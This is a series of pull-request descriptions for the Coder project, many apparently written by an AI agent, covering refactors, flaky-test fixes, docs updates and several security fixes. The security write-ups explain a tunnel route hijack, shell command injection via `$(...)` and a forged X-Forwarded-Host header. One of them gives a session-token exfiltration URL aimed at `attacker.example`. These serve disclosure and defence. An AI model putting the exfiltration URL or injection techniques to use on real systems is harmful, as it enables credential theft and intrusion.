## Summary
Removes the deprecated `/api/v2/aibridge/interceptions` endpoint and the
Request Logs frontend page, both replaced by the session-based view.
Closes https://linear.app/codercom/issue/AIGOV-266
Closes https://linear.app/codercom/issue/AIGOV-324
## Changes
### Backend
- Remove `GET /api/v2/aibridge/interceptions` HTTP handler and route
- Remove SDK types and client method (`AIBridgeInterception`,
`AIBridgeTokenUsage`, `AIBridgeUserPrompt`, `AIBridgeToolUsage`,
`AIBridgeListInterceptionsResponse`, `AIBridgeListInterceptionsFilter`)
- Remove SQL queries `CountAIBridgeInterceptions` and
`ListAIBridgeInterceptions`
- Remove `searchquery.AIBridgeInterceptions` parser
- Remove dbauthz wrappers, in-memory implementations, metrics, and mocks
for the interceptions list queries
- Remove the `coder aibridge interceptions list` CLI command and golden
files
- Regenerate API docs, swagger, mocks, and metrics
The `/models`, `/clients`, and `/sessions` endpoints stay; the sessions
list page still consumes all three.
### Frontend
- Delete the entire `RequestLogsPage/` directory (page, view, row,
filter, stories, tests)
- Remove the `/aibridge/request-logs` route and its lazy import
- Remove the `getAIBridgeInterceptions` API method,
`paginatedInterceptions` query, and mock interception entities
- `git mv` the shared filter and icon components used by the sessions
pages:
- `RequestLogsPage/RequestLogsFilter/{Client,Model,Provider}Filter.tsx`
→ `AIBridgePage/filters/`
- `RequestLogsPage/icons/AIBridge{Client,Model,Provider}Icon.tsx` →
`AIBridgePage/icons/`
- Drop the `getProviderIconName` hack and the duplicate `anthropic-neue`
icon case now that the FIXME no longer applies
## Commits
1. `refactor: remove interceptions API and request logs view` — the bulk
removal, with explicit renames for the shared filter/icon files.
2. `refactor(site/src/pages/AIBridgePage): drop getProviderIconName
hack` — cleanup of the FIXME that depended on RequestLogsPage existing.
> [!NOTE]
> Generated by Coder Agents on behalf of @dannykopping
`coder exp scaletest chat` now bootstraps its mock LLM using the,
post-gateway unification, AI provider API instead of the removed
experimental chat-provider API, and creates or reuses a chat model
config linked to that provider. When the mock provider is created or
updated, the command waits a flat, hidden `--provider-propagation-wait`
(default 15s) before starting the scale run, since each coderd replica
caches provider config with a 10s TTL and only expiry guarantees every
replica sees the change. The command also runs without any scaletest
workspaces, creating chats with no workspace context. The integration
test covers the CLI path against `llmmock` with a near-zero propagation
wait, verifies the provider/model config setup, and asserts the
generated chat records user and assistant messages.
Relates to CODAGT-307
Relates to GRU-48
OpenAI-compatible provider endpoints need to include the upstream
OpenAI-compatible prefix, typically `/v1`, because Coder appends request
suffixes such as `/chat/completions`, `/responses`, and `/models`. The
generic OpenAI-compatible provider form did not show an example
endpoint, so it was easy to save a host-only URL that looked valid but
would fail when used.
Add `https://provider.example.com/v1` as the Endpoint placeholder for
the OpenAI-compatible provider, matching the documented example URL
shape.
Extracts the workspace app iframe, wildcard warning, and workspace-app
helper functions out of TaskPage into shared `site/src/modules/apps`
modules. Existing agent and app lookups in the task chat helpers,
download-logs dialog, and workspaces table now route through the shared
`workspaceApps` helpers instead of duplicating resource-flattening
logic. The extracted frame preserves the existing preview-only toolbar
behavior, and its open-in-new-tab link gains `rel="noreferrer"` to
harden against tabnabbing.
Relates to CODAGT-346
fixes DEVEX-375
Replaces `getByRole` with async `findByRole`, which returns a promise /
rejects if no matching element is found after a default timeout of
1000ms
Co-written with Coder Agents. Relevant chat responses:
[I couldn't repro locally, so I inquired if there was a commit/PR that
fixed the flake within the past 3 weeks]
>No, this flake has not been fixed. There have been zero commits to
`CreateTokenPage`, `CopyButton`, `CodeExample`, or `useClipboard.ts`
since the failing CI run (13bf0e11f1, May 20).
>`getByRole` is synchronous, so it doesn't wait for the success modal
(containing the "Copy code" button) to render after the `createToken()`
mutation resolves. When the mutation is slow, the DOM still shows the
form (Cancel / Create token), and the query fails.
`TestRefreshToken/RefreshRetries` flakes on Windows. The subtest
disables transient-failure refresh retries by setting
`RefreshRetryTimeout = time.Nanosecond`, but a near-zero timeout cannot
deterministically prevent a retry: on coarse-clock platforms the 1ns
deadline may not register as expired until after the first refresh
attempt completes, and `retry.Wait`'s first delay is zero, so an extra
IDP refresh attempt slips through and the attempt-count assertion fails
with `refreshCount = totalRefreshes + 1`.
A negative `RefreshRetryTimeout` now disables transient-failure retries
explicitly so exactly one refresh attempt is made, and the test sets
`-1` instead of `time.Nanosecond`. The retry config fields are only set
from tests, so default refresh behavior is unchanged.
Closes https://github.com/coder/internal/issues/1550 (PLAT-293)
<details>
<summary>Root cause analysis</summary>
1. The test sets `RefreshRetryTimeout = time.Nanosecond` intending "no
retries".
2. `refreshTokenWithRetry` creates `context.WithTimeout(ctx, 1ns)`. On
Linux this context is canceled synchronously at creation: consecutive
`time.Now()` reads differ by more than 1ns, so `context.WithDeadline`
observes `time.Until(deadline) <= 0`. The `retryCtx.Err() != nil` guard
then deterministically stops after one attempt.
3. On Windows, `time.Now()` is coarse, so both clock reads inside
`WithTimeout` can return the same instant, and a real 1ns timer is
scheduled instead of synchronous cancellation.
4. The fake IDP is served in-process, so the first refresh attempt can
complete before that timer fires. `retryCtx.Err()` is still nil and
`retry.Wait`'s first delay is zero, so a second refresh attempt happens.
5. `require.Equal(t, refreshCount, totalRefreshes)` then fails with
`expected: 2, actual: 1` (or `4 vs 3` when the race hits a later loop
iteration), matching all CI occurrences.
Timing-based test-side mitigations cannot close this race, so the fix
adds explicit retry-disable semantics instead. `RefreshRetries` passed
100 consecutive local runs with the change.
</details>
*This PR was generated by Coder Agents on behalf of @jscottmiller.*
Fixes a flake in `TestWorkspaceBuildStatus` where the test asserted an
exact audit log count immediately after the stop build completed:
```
workspacebuilds_test.go:1261: Error: "[...]" should have 7 item(s), but has 6
```
The audit log for a workspace build is exported asynchronously relative
to what `AwaitWorkspaceBuildJobCompleted` observes, so the strict
`require.Len` could run before the stop log was recorded. The assertion
now polls with `require.Eventually` until the expected log count and
stop action appear, matching the existing poll pattern in the file.
Also fixes the same race in
`TestWorkspaceDormant/StartWakesUpDormantWorkspace`
(`workspaces_test.go`), flagged during review as a sibling risk: its
exact `require.Len(t, auditor.AuditLogs(), 2)` after build completion is
now an equivalent `require.Eventually` poll.
Verified with `go test ./coderd -run TestWorkspaceBuildStatus -count=10`
and `go test ./coderd -run
'TestWorkspaceDormant/StartWakesUpDormantWorkspace' -count=5`.
Closes https://github.com/coder/internal/issues/1565 (PLAT-304).
🤖 Generated by Coder Agents on behalf of @jscottmiller
`AgentCoordinateeAuth.Authorize` validated every prefix in
`upd.Node.Addresses` (each must be a `/128` derived from the
authenticating agent's own UUID) but applied no equivalent check to
`upd.Node.AllowedIps`. Because `AllowedIPs` are installed verbatim into
the WireGuard peer config (`tailnet/configmaps.go`) and WireGuard
routing is driven by `AllowedIPs`, a malicious agent could advertise a
victim agent's `/128` and become an eligible route for that IP. With
`ServerTailnet` tunneling to many agents and routing by destination IP,
this could let an attacker intercept sessions intended for the victim
workspace.
This applies the same UUID-derivation validation to `AllowedIps` that
already guards `Addresses`, extracted into a shared
`authorizeNodePrefixes` helper. The check is the single chokepoint used
by both the in-memory coordinator (`tailnet/coordinator.go`) and the
Postgres coordinator (`enterprise/tailnet/connio.go`), so one fix covers
both. Legitimate agents are unaffected: an agent's `AllowedIPs` is a
clone of its `Addresses` (`tailnet/node.go`), which are already
UUID-derived `/128`s.
Fixes PLAT-264 (SEC-89): https://linear.app/codercom/issue/PLAT-264
<details>
<summary>Implementation notes and decision log</summary>
### Root cause
Asymmetric validation in `tailnet/tunnel.go`: `Addresses` were bound to
the agent's UUID, but `AllowedIps` were trusted as-is and propagated
into the WireGuard peer config, which drives routing.
### Why the fix is safe for legitimate agents
- `tailnet/node.go` builds the node with `AllowedIPs:
slices.Clone(u.addresses)`, identical to `Addresses`.
- `agent/agent.go` sets those addresses to
`TailscaleServicePrefix.PrefixFromUUID(agentID)` and
`CoderServicePrefix.PrefixFromUUID(agentID)` (both `/128`,
UUID-derived).
- The existing `Addresses` check already accepts exactly those prefixes
plus the legacy workspace agent IP, so identical validation of
`AllowedIPs` passes for real traffic and only rejects forged prefixes.
### Coverage: one method, both coordinators
`AgentCoordinateeAuth.Authorize` is the shared auth path. A failed
`Authorize` is wrapped as `AuthorizationError{Wrapped: err}` and closes
the agent's response stream.
### Tests
- `tailnet/tunnel_internal_test.go`: fast unit tests on `Authorize`
(valid AllowedIPs accepted; foreign `/128` rejected with
`InvalidNodeAddressError`; wrong-bits rejected with
`InvalidAddressBitsError`).
- `tailnet/coordinator_test.go`: in-memory coordinator closes the agent
stream on a forged `AllowedIp`.
- `enterprise/tailnet/pgcoord_test.go`: same regression for the Postgres
coordinator.
Verified the regression tests fail when the new `AllowedIps` check is
disabled, then pass with it enabled. Local validation: targeted tests
(in-memory, internal, and Postgres-backed enterprise), plus `make
pre-commit` (gen/fmt/lint/build) passing.
</details>
> Generated by Coder Agents on behalf of @f0ssel.
commandEnvExecer.prepare rebuilt commands into a single shell string
using `fmt.Sprintf("%q", arg)`, which produces Go string literals, not
shell-quoted tokens. Go's %q does not escape `$`, backticks, or other
metacharacters that remain active inside double quotes, so an argument
such as `$(...)` was evaluated by the shell as command substitution.
Arguments flow from devcontainer config and workspace-folder, making
this exploitable.
Pass the command to the shell as positional parameters and run `"$@"` so
the shell forwards argv verbatim without re-parsing it.
The Windows previous handling is not required because Coder doesn't
support devcontainers on Windows, so it is removed.
## Summary
Adds a `cherry-pick/v<version>` label to the cherry-pick PRs that the
`Cherry-pick to release` workflow creates automatically, so cherry-picks
for a specific release can be filtered and identified easily (for
example
`cherry-pick/v2.31`).
## Changes
- Compute `CHERRY_PICK_LABEL="cherry-pick/v${VERSION}"` from the
resolved
release branch.
- Create the label on demand with `gh label create --force` so the
workflow stays idempotent across re-runs and concurrent runs, and works
even when the label does not exist yet.
- Apply the label at PR creation via `gh pr create --label`.
- Grant `issues: write` permission, required to create the label.
- Document the new label convention in the workflow header.
## Notes
The version is derived from the existing release-branch resolution
(`release/2.X` -> `2.X`), so no new configuration is required. The label
name uses a `v` prefix to match the requested `cherry-pick/vX.YZ`
format.
<details>
<summary>Implementation context</summary>
The label is created before the existing-PR idempotency check and
applied
in the same `gh pr create` call already used for assignees/reviewers, so
it
fits the workflow's existing conventions (branch, title, body) without
changing control flow.
</details>
---
*This PR was created by Coder Agents on behalf of @dannykopping.*
Subdomain app routing derived the app identity from
httpapi.RequestHost, which returned the client-supplied
X-Forwarded-Host header verbatim. No middleware validated or stripped
that header, so a request from an untrusted peer could forge it. Since
the application_connect cookie is scoped to the wildcard apps domain,
JavaScript in a share=authenticated app could fetch() with a forged
X-Forwarded-Host pointing at a victim's owner-only app; coderd routed
and authorized the request as the victim and returned the private app
response same-origin to the attacker.
Replace RequestHost with httpmw.EffectiveHost, which honors
X-Forwarded-Host only when the original socket peer is a configured
trusted origin, otherwise falling back to the received Host header.
This ties host trust to the same RealIPConfig model already used for
X-Forwarded-For and -Proto. Wire it into HandleSubdomain for both
coderd and wsproxy, and log both the effective host and the raw
received_host.
Add coverage: EffectiveHost unit tests assert the trust decision uses
the socket peer rather than the spoofable forwarded client IP, and a
HandleSubdomain test confirms a forged X-Forwarded-Host from an
untrusted peer never reaches token resolution.
Refs: https://linear.app/codercom/issue/PLAT-259
`coder open app` substituted the user's session token into any external
workspace-app URL containing `$SESSION_TOKEN` before opening, letting a
malicious sub-agent exfiltrate the token via a URL like
`https://attacker.example/?t=$SESSION_TOKEN`.
Substitution is now restricted to URLs from top-level
(template-authored) agents. Sub-agent URLs that still contain
`$SESSION_TOKEN` are printed for the user to inspect and substitute
manually rather than opened automatically. Sub-agent URLs without the
placeholder are unaffected.
Fixes CODAGT-548
Adds two idempotent startup backfills run after `newAPI():
- `BackfillBedrockProviderType`: promotes `ai_providers` rows from
`type=anthropic` with Bedrock settings to `type=bedrock`.
- `BackfillChatModelConfigProviderStrings`: fixes stale
`chat_model_configs.provider = "anthropic"` strings on rows whose linked
provider was just promoted.
- `UpdateAIProvider` query now also writes the `type` column, so the
fix persists on any subsequent PATCH.
> 🤖 Generated by Claude with oversight from a human.
Previously, a suspended user authenticating via OIDC or GitHub OAuth was
silently issued a session cookie and redirected to the dashboard. The
very next API call (`/api/v2/users/me`) failed with `401` from the
suspended-user check in `httpmw.ExtractAPIKey`, the SPA treated the 401
as "signed out", and bounced the user back to `/login` with no
indication of why. The password login path does not have this bug
because `loginRequest` rejects suspended users *before* creating an API
key.
The shared `oauthLogin` handler in `coderd/userauth.go` only
special-cased the `dormant` status. Add a parallel check for `suspended`
that returns an `idpsync.HTTPError` with `RenderStaticPage: true`, so
the OIDC and GitHub callback handlers render an explanatory error page.
The GitHub device flow already clears `RenderStaticPage` for
`idpsync.HTTPError` responses, so it returns the same fields as JSON.
Returning from inside `db.InTx` rolls the transaction back, so no link
insert/update or IDP sync side-effects are persisted for a rejected
suspended user.
Closing https://github.com/coder/coder/issues/24614
<details>
<summary>Investigation notes</summary>
### Trace through the bug on `main`
1. `userOIDC` callback in `coderd/userauth.go` enters `oauthLogin`.
2. Inside the `db.InTx` closure, only `user.Status ==
database.UserStatusDormant` is special-cased (auto-activates). A
`suspended` user falls through and the transaction commits as-is.
3. `oauthLogin` then calls `api.createAPIKey(...)` and the session
cookie is set.
4. The handler issues `http.Redirect(rw, r, redirect,
http.StatusTemporaryRedirect)` to the post-login URL.
5. The SPA loads and calls `GET /api/v2/users/me`.
`httpmw.ExtractAPIKey` returns `401 "User is not active (status =
\"suspended\"). Contact an admin to reactivate your account."`
(`coderd/httpmw/apikey.go:685`).
6. `site/src/contexts/auth/RequireAuth.tsx` treats any `401` from
`/users/me` as "signed out" and redirects to `/login` without surfacing
the message body.
Verified by reverting the fix and re-running the new test: the OIDC
callback returns `307` (the bug) instead of the expected `403`.
### Why this placement
The new check is placed alongside the existing `Dormant` branch:
- It runs after the new-user creation block, so first-login signup is
unaffected (new users are always created `active`).
- Returning an `*idpsync.HTTPError` from inside `db.InTx` rolls the
transaction back, so no `user_links` insert/update or IDP sync is
persisted.
- `idpsync.HTTPError` with `RenderStaticPage: true` is already the
convention used by the OIDC and GitHub callbacks for "Email not
verified" and "Signups disabled" via `idpsync.IsHTTPError(err) ->
httpErr.Write(rw, r)`.
- `oauthLogin` is shared between OIDC and GitHub OAuth, so a single
change fixes both flows. The GitHub device-flow branch in
`userOAuth2Github` already clears `RenderStaticPage` for
`idpsync.HTTPError` and returns JSON, so device clients get the same
`403` with `Msg`/`Detail` fields.
### Test
`TestUserOIDC/OIDCSuspended` mirrors the existing `OIDCDormancy` test:
- Pre-seed a `database.User` with `LoginType: LoginTypeOIDC` and
`Status: UserStatusSuspended`.
- Drive the OIDC callback via `oidctest.FakeIDP.AttemptLogin`.
- Assert HTTP `403`, response body contains `"suspended"`, and the
user's DB status is unchanged.
### Out of scope
The issue mentions allowing admins to customize the suspension message
as an extra step. Not included; that would be a separate feature.
</details>
---
*This PR was created on behalf of @ericpaulsen by the Coder Agents AI
assistant.*
## Summary
Fixes [CODAGT-415](https://linear.app/codercom/issue/CODAGT-415).
Right-clicking selected text in the web terminal on Windows (and Linux)
showed
the browser's image actions ("Copy image", "Save image as") instead of
copy/paste. The terminal uses xterm.js with the canvas/WebGL renderer,
so the
underlying element is a `<canvas>`, which Chromium and Firefox treat as
an
image. xterm.js tries to retarget the menu by moving a hidden textarea
under
the cursor, but on Windows and Linux the browser's own non-native
context menu
locks onto the canvas before that workaround lands.
## Change
Wrap the terminal in the shared Radix `ContextMenu` so right-click shows
a
custom **Copy** / **Paste** menu instead of the browser default:
- **Copy** reuses the existing copy-on-select clipboard path
(`getSelection()`
+ `copyToClipboard`). It is disabled when there is no selection.
- **Paste** reads the clipboard and uses xterm's `paste()`, which
respects
bracketed-paste mode.
- The menu is gated to non-macOS (`disabled={isMac()}` on the trigger).
macOS
renders native context menus that already expose working copy/paste
across
Chrome, Firefox, and Safari, so its default is left untouched.
## Platform scope
| Platform | Behavior |
| --- | --- |
| Windows (Chromium / Firefox) | Custom Copy/Paste menu (fixes the bug)
|
| Linux (Chromium / Firefox) | Custom Copy/Paste menu |
| macOS (Chrome / Firefox / Safari) | Native menu preserved (already
works) |
## Testing
- `TerminalPage.test.tsx`: on non-macOS, right-click suppresses the
native menu
and shows the Copy/Paste menu; on macOS the native menu is preserved.
- `TerminalPage.stories.tsx`: new `RightClickMenu` story opens the menu
via a
`play` function for real-browser and visual coverage.
- `tsc`, `biome`, and `make pre-commit` (gen/fmt/lint/build) pass
locally.
<details>
<summary>Decision log</summary>
- The issue was originally reported as Windows-only. Hands-on testing
confirmed
macOS is not affected: Chrome, Firefox, and Safari on macOS all show a
working
copy/paste menu. The difference is the menu implementation: macOS uses
native
OS context menus (which pick up xterm's repositioned textarea), while
Chromium/Firefox on Windows and Linux draw their own menu that targets
the
`<canvas>` directly.
- Root cause is the canvas/WebGL renderer plus the unreliability of
xterm's
textarea-repositioning workaround on non-native menus, not the operating
system itself.
- A custom menu (rather than just `preventDefault`) was chosen so users
keep an
explicit copy/paste affordance on the affected platforms. A bare
`preventDefault` removes the menu entirely.
- Scope is gated to non-macOS to avoid regressing the working native
menu on
macOS. Rejected alternatives: suppressing/replacing on all platforms
(regresses
macOS), and Windows-only (misses Linux, which shares the same non-native
menu).
</details>
---
Generated by Coder Agents on behalf of @jaaydenh.
Reverts coder/coder#26239
We cannot disable a feature which was previously enabled; this is a BC
break.
This is also using `AIGatewayRoutingEnabled` which will be removed in
the next release.
Problem: CODER_AI_GATEWAY_ENABLED defaulted to true, which both started
the in-memory gateway and enabled the licensed FeatureAIBridge. As a
result, deployments that never configured AI Gateway saw a spurious "AI
Governance add-on is required" warning whenever they had an older
(non-add-on) Premium license, since the feature was enabled-and-entitled
by default.
Fix: Decouple "external AI Gateway API enabled" from "in-memory daemon
running," so the external/licensed surface is off by default while Coder
Agents retain access by default.
Fixes a scheduler-dependent flake in chatd's dial-timeout recovery path.
The dial timeout now uses the server's quartz clock, and
`dialWithLazyValidation` also uses that clock for its validation-delay
timer. If a dial result races with a canceled parent context, the
cancellation now wins instead of treating the cancellation-produced dial
error as a fast failure that triggers eager validation.
The recovery-threshold test now traps and advances the mock clock, which
keeps strict DB expectations without depending on wall time or goroutine
scheduling.
Closes https://github.com/coder/internal/issues/1569
Closes ENG-2838
#26124 introduced a regression on `main`: `AgentRow ›
NonStartupScriptError` fails because the refactor replaced
`hasAgentIssues` (which covered both connectivity and script issues)
with `hasConnectivityIssues` only in the `showLogs` condition. For a
`ready` agent with a failed script but no connectivity issues,
`showLogs` becomes false, logs never load, and the failed script tab
never renders. The PR's own behavior table said logs should still
auto-open in this case — it was an implementation oversight, not an
intentional change.
Fix by including `hasScriptIssues` in the `showLogs` condition alongside
`hasConnectivityIssues`, restoring the auto-expand behavior from #25442
without touching connectivity badge styling.
> **Note:** This reached `main` undetected because `test-js` in CI only
runs `--project=unit`; the Storybook interaction tests
(`--project=storybook`) that caught this are not a required check. When
Chromatic is switched off, `--project=storybook` should be added to the
required gate.
Refs #26124, #25442
## Summary
Pin chat relative timestamp Chromatic ignore masks to the established
`inline-block w-7 text-right` box so changing text like `46m` to `now`
does not shrink the ignored bounding rect and expose slivers of diff.
This applies the fix to the search dialog result rows and restores the
same mask on sidebar chat rows after the sidebar extraction dropped it.
## Flaky stories
- `pages/AgentsPage/ChatsSidebar: Search Dialog Keyboard Shortcut`,
opens the search dialog with recent chats visible, which renders
relative timestamps in `ChatSearchResults`.
- `pages/AgentsPage/ChatsSidebar: Section Headers Collapse`, and other
`ChatsSidebar` snapshots that render sidebar chat rows, can hit the same
timestamp mask-width drift through `ChatTreeNode`.
fix(coderd/workspaceapps): verify workspace owner matches app username
When resolving a workspace app by workspace UUID, the URL's username
segment was never reconciled against the resolved workspace's owner.
A user could serve their own workspace app from a hostname embedding
another user's username, so the parsed origin username belonged to the
victim. Combined with the username-equality CORS check, this allowed
credentialed cross-origin reads of the victim's app responses.
Reject the request with a 404 when the resolved workspace's owner does
not match the user named in the request.
Refs: https://linear.app/codercom/issue/PLAT-260
Resolves the issue of `--prompt-ephemeral-parameters` and
`--ephemeral-parameter` not being available for use in the `coder
create` workspace creation command (they are only available in `coder
start` command). Back when they were [added
originally](https://github.com/coder/coder/pull/15030) it seems to have
been an oversight that they were left out.
The problem this solves:
```
coder create --parameter my_ephemeral_parameter=foo
error: prepare build: ephemeral parameter "my_ephemeral_parameter" can be used only with --prompt-ephemeral-parameters or --ephemeral-parameter flag
```
```
coder create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo
parsing flags ([create my-test-ws -t general --ephemeral-parameter my_ephemeral_parameter=foo]) for "coder create": unknown flag: --ephemeral-parameter
```
Tested on a template with the following:
```
data "coder_parameter" "my_ephemeral_parameter" {
name = "my_ephemeral_parameter"
type = "bool"
description = "true or false?"
mutable = true
default = false
ephemeral = true
}
resource "coder_env" "debug_ephemeral" {
agent_id = coder_agent.main.id
name = "EPHEMERAL_TEST"
value = data.coder_parameter.my_ephemeral_parameter.value
}
```
By running:
```
➜ coder git:(rowan/coder-create-5495) ✗ go run cmd/coder/main.go create --ephemeral-parameter my_ephemeral_parameter=true
> Specify a name for your workspace: ws4
Select a template below to preview the provisioned infrastructure:
? kasmvnc-ubuntu-coder-dev used by 1 active developer
Select a preset below:
? Small (2 CPU / 4 GB)
....
...
The ws4 workspace has been created at Jun 3 12:36:38!
➜ coder git:(rowan/coder-create-5495) ✗ coder ssh ws4
workspace-ws4-5d6994756f-qlwnl% echo $EPHEMERAL_TEST
true
workspace-ws4-5d6994756f-qlwnl% exit
```
`TestExecutorAutostopAIAgentActivity` flaked when the test clock and the
database clock straddled a minute boundary, leaving the executor's
minute-aligned tick on the wrong side of the bumped deadline. Anchor
tick times to the deadline the database wrote after the bump.
Closes [DOCS-256](https://linear.app/coder/issue/DOCS-256). Sibling to
[DOCS-253](https://linear.app/coder/issue/DOCS-253) (#25740).
Updates docs URL references across the non-TypeScript surface of
`coder/coder` to match the current docs site structure. Source-of-truth
for redirects is `coder/coder.com/redirects.json` (parent ticket
[DOCS-209](https://linear.app/coder/issue/DOCS-209)).
## What changed
| Area | Files | URL mapping |
|---|---|---|
| Top-level README | `README.md` | `/docs/workspaces` ->
`/docs/user-guides/workspace-management`, `/docs/templates` ->
`/docs/admin/templates`, `/docs/ides` ->
`/docs/user-guides/workspace-access` |
| Docs source | `docs/admin/security/0001_user_apikeys_invalidation.md`
| `/docs/admin/audit-logs` -> `/docs/admin/security/audit-logs` |
| Docs source | `docs/install/cloud/azure-vm.md` |
`/docs/coder-oss/latest/install` -> `/docs/install` |
| Dogfood | `dogfood/coder/guide.md` | `/docs/ides` ->
`/docs/user-guides/workspace-access` |
| Helm | `helm/coder/values.yaml` | `/docs/admin/workspace-proxies` ->
`/docs/admin/networking/workspace-proxies` |
| Enterprise coderd | `enterprise/coderd/coderd.go` |
`/docs/admin/encryption` -> `/docs/admin/security/database-encryption`
(error message) |
| Release tooling | `scripts/release/main_internal_test.go` |
`/docs/admin/upgrade` -> `/docs/install/upgrade` (test fixture, matches
`generate_release_notes.sh`) |
| AI bridge | `aibridge/client.go` | repinned to current `main` SHA on
renamed `docs/ai-coder/ai-gateway/monitoring.md`, line range `#L47-L57`
|
| Example templates | 12 `examples/templates/*/README.md`,
`examples/parameters/*`,
`examples/parameters-dynamic-options/README.md`,
`examples/workspace-tags/README.md`, `examples/parameters/main.tf`,
`examples/examples.gen.json` (regenerated) | `/docs/workspaces` ->
`/docs/user-guides/workspace-management`, `/docs/templates/parameters`
-> `/docs/admin/templates/extending-templates/parameters`,
`/docs/templates/dev-containers` ->
`/docs/admin/integrations/devcontainers`, `/docs/dotfiles` ->
`/docs/user-guides/workspace-dotfiles`,
`/docs/about/architecture#agents` ->
`/docs/admin/infrastructure/architecture#agents` |
| Live notification templates (DB) | New migration
`000510_fix_dormancy_notification_docs_urls.up.sql` and `.down.sql` plus
the four regenerated SMTP/webhook goldens under
`coderd/notifications/testdata/rendered-templates/` |
`/docs/templates/schedule#dormancy-threshold-enterprise` ->
`/docs/admin/templates/managing-templates/schedule#dormancy-threshold`,
`/docs/templates/schedule#dormancy-auto-deletion-enterprise` ->
`/docs/admin/templates/managing-templates/schedule#dormancy-auto-deletion`
|
The migration uses `REPLACE(body_template, ...)` scoped by template id
and `LIKE '%/docs/templates/schedule%'`, so it works regardless of which
intermediate state (`000232`, `000262`, `000305`, or `000311`) is
currently in the row.
## What did not change
Historical SQL migrations `000232`, `000262`, `000305`, and `000311` are
not modified because migrations are immutable history. The 18 remaining
stale URL references in those files are superseded at runtime by
migration `000510`. This decision matches the pattern used in the A1
sister PR (#25740).
## Verification
- `go test ./coderd/database/migrations/... -count=1` (UP+DOWN)
- `go test ./coderd/notifications/ -run TestNotificationTemplates_Golden
-update -count=1` to regenerate the four `.golden` files
- `go test ./scripts/release/ -run Test_removeMainlineBlurb -count=1`
- `make pre-commit` (gen + fmt + lint + slim build) ran clean as part of
the commit hook
I also fixed a pre-existing emdash on line 35 of
`examples/templates/azure-linux/README.md` that the lint flagged once
the file entered my diff. The line was already in `main`, but `make gen`
rewrites `examples/examples.gen.json` whenever a `README.md` changes, so
the line came back as a `+` in the diff against `origin/main` and the
`lint/emdash` step refused it.
<details>
<summary>Pre-mortem</summary>
| Risk | Mitigation |
|---|---|
| Migration overwrites future template edits | Used `REPLACE` instead of
full body overwrite. `WHERE id IN (...) AND body_template LIKE
'%/docs/templates/schedule%'` further scopes the write |
| Goldens drift from migrated body | Regenerated goldens via `-update`
after the migration was in place, so the goldens reflect the
post-migration state |
| Down migration leaves stale URLs | Down migration reverses the REPLACE
so a rollback restores the prior URLs |
| Fragment loss when redirect strips fragment | Verified the destination
`schedule.md` contains `## Dormancy threshold` and `## Dormancy
auto-deletion` anchors |
| Terraform parse breakage in `examples/parameters/main.tf` | Only
comments changed; Terraform parser is unaffected |
| Test fixtures in `scripts/release` diverging from
`generate_release_notes.sh` | Updated to match the script, which already
emits `/docs/install/upgrade` |
</details>
---
Generated by Coder Agent on behalf of @nickvigilante.
- Adds server-side and client-side validation for
CODER_CONFIGSSH_HOSTNAME_SUFFIX and CODER_SSH_CONFIG_OPTIONS.
- **Server-side breaking change:** invalid values for either of these will cause `coderd` to exit with an error.
- Client-side: `coder config-ssh` will exit with an error if it detects invalid config.
- Adds tests for the above
Local smoke-testing: ran `develop.sh --env-file <path to an env file
containing badness>`. Validated that server startup failed as expected.
> 🤖 Generated by Coder Agents with supervision from a human.
Co-authored-by: Copilot Autofix powered by AI <175728472+Copilot@users.noreply.github.com>
The bundled `/icon/rstudio.svg` rendered the R language logo (gray oval,
blue R), not the RStudio IDE logo, so templates using the `rstudio`
`coder_app` and the bundled URL got the wrong artwork
([#26211](https://github.com/coder/coder/issues/26211), PRODUCT-383).
This PR:
- Renames the existing `rstudio.svg` (R language logo) to `rproject.svg`
so the artwork stays available for templates that want it.
- Adds a new `rstudio.svg` containing the actual RStudio R-ball logo,
extracted from the [Wikimedia
source](https://upload.wikimedia.org/wikipedia/commons/d/d0/RStudio_logo_flat.svg)
and normalized to `viewBox="0 0 256 256"` to match the rest of the icon
set.
- Adds `rproject.svg` to `site/src/theme/icons.json` so it appears in
the icon picker and gallery alongside `rstudio.svg`.
- Switches the `coder_app "rstudio"` example in
`docs/admin/templates/extending-templates/web-ides.md` to reference
`/icon/rstudio.svg` (and corrects `display_name` to `"RStudio"`),
matching every other example on that page.
| Path | Before | After |
| --- | --- | --- |
| `/icon/rstudio.svg` | R language logo | RStudio R-ball |
| `/icon/rproject.svg` | (did not exist) | R language logo |
<table>
<tr>
<th>Old <code>rstudio.svg</code> → new
<code>rproject.svg</code></th>
<th>New <code>rstudio.svg</code></th>
</tr>
<tr>
<td align="center"><img
src="https://raw.githubusercontent.com/coder/coder/vigilante/product-383-bundled-iconrstudiosvg-appears-to-show-r-language-logo/site/static/icon/rproject.svg"
width="128" height="128"></td>
<td align="center"><img
src="https://raw.githubusercontent.com/coder/coder/vigilante/product-383-bundled-iconrstudiosvg-appears-to-show-r-language-logo/site/static/icon/rstudio.svg"
width="128" height="128"></td>
</tr>
</table>
**Breaking-change note.** Templates that referenced `/icon/rstudio.svg`
expecting the R language oval will now render the RStudio R-ball.
Templates that want the R language logo should switch to
`/icon/rproject.svg`. The Linear issue acknowledges this tradeoff.
**Client cache caveat.** `site/site.go` serves everything under `/icon/`
with `Cache-Control: public, max-age=31536000, immutable`, so any
browser that already loaded the old artwork at `/icon/rstudio.svg` can
keep displaying it for up to a year before revalidating. A hard refresh
(Ctrl/Cmd+Shift+R) clears it immediately. Cache-busting (hashed icon
URLs) is out of scope for this fix and tracked as a possible follow-up
against PRODUCT-383.
<details>
<summary>Implementation notes</summary>
- Verified geometric fidelity by rendering the new SVG and a
high-resolution crop of the Wikimedia source at 256x256 and computing
the RMS pixel difference: 1.268/255 (~0.5%, essentially antialiasing
noise).
- Picked `viewBox="0 0 256 256"` because 139 of 142 SVGs in
`site/static/icon/` already use that viewBox.
- Searched the repo for `rstudio.svg` references: the only direct one is
`site/src/theme/icons.json`. The docs file references the `rstudio`
`coder_app` slug, not the icon path, so the rename does not break any
callsite.
- R-ball geometry: source circle at (318.7, 312.9) radius 309.8 in the
original `viewBox 0 0 1784.1 625.9`. Translating by (-8.9, -3.1) and
scaling by 256/619.6 maps its bounding box onto `0 0 256 256`. Path
coordinates are pre-computed so the file ships with no transform layer.
- Pre-commit hooks passed locally, including `lint/site-icons`.
</details>
Fixes#26211
Fixes PRODUCT-383
---
_Generated by Coder Agents on behalf of @nickvigilante._
Closes
https://linear.app/codercom/issue/AIGOV-287/add-effective-group-resolution
Implements the effective AI budget resolution from the AI Governance
cost-controls RFC: for a given user, a `user_ai_budget_overrides` row
wins if present, otherwise the deployment budget policy (`highest`)
